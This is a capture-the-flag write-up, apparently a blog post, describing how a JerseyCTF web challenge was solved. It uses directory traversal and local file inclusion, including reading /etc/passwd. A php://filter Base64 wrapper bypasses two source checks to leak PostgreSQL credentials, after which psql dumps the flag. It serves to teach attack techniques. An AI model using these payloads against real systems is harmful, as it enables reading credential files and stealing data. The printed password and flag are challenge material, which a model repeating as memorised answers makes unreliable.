Challenge Overview
This challenge involves chaining multiple vulnerabilities — Directory Traversal, Local File Inclusion (LFI), and a PHP filter bypass — to extract database credentials and retrieve the flag directly from a PostgreSQL database.
Key concepts: LFI, Directory Traversal, PHP filter wrapper, Base64 bypass, PostgreSQL enumeration
Step 1 – Reconnaissance
The challenge URL exposes a suspicious file parameter:
http://my-cool-blog.aws.jerseyctf.com/view-post.php?file=posts/cool-post-1
Run an nmap scan to fingerprint the target:
nmap -sV my-cool-blog.aws.jerseyctf.com
| Port | Service | Version |
|---|---|---|
| 22 | SSH | OpenSSH 8.7 |
| 80 | HTTP | Apache 2.4.63 Ubuntu |
| 5432 | PostgreSQL | DB 18.0–18.2 |
The infrastructure is hosted on AWS EC2, confirmed by the reverse DNS record. Port 5432 being publicly accessible is an immediate red flag.
Step 2 – Confirm LFI via Directory Traversal
Passing an invalid path to the file parameter triggers a verbose PHP error:
This leaks two critical details — the app passes user input directly to file_get_contents(), and the absolute server path is /opt/server/. Verify LFI by reading /etc/passwd:
?file=../../../../etc/passwd
Confirmed. We have LFI.
Step 3 – Enumerate the Source Code
Use the PHP Base64 filter wrapper to read view-post.php without the server executing it:
?file=php://filter/convert.base64-encode/resource=view-post.php
Decoding the Base64 output reveals two security checks:
-
Directory block — blocks any input starting with
includes -
Content filter — blocks any file whose contents contain the string
pg_connect
The developer even Base64-encoded pg_connect within the source itself (cGdfY29ubmVjdA==) to obscure the check — a textbook security through obscurity mistake.
Step 4 – Bypass the Filters and Extract Credentials
Both filters collapse under the same PHP filter wrapper trick:
- The
includes/block only checks if input starts withincludes—php://bypasses it entirely - The
pg_connectcontent filter never fires because the file is Base64-encoded in memory beforestr_containscan inspect it
Winning payload:
?file=php://filter/convert.base64-encode/resource=includes/db.inc
Decode the returned Base64 to reveal the PostgreSQL credentials:
host=my-cool-blog.aws.jerseyctf.com
dbname=blog
user=blog_web
password=oPPNQ9vkMdAJx
Step 5 – Connect to PostgreSQL and Dump the Flag
Connect directly to the remote database:
psql -h my-cool-blog.aws.jerseyctf.com -U blog_web -d blog
List the tables:
\dt
Query the flag table:
SELECT * FROM flag;
Flag
jctf{EgdbFYxQi4zmD5oovBpG7F5RJqRb7Tnd}






Top comments (0)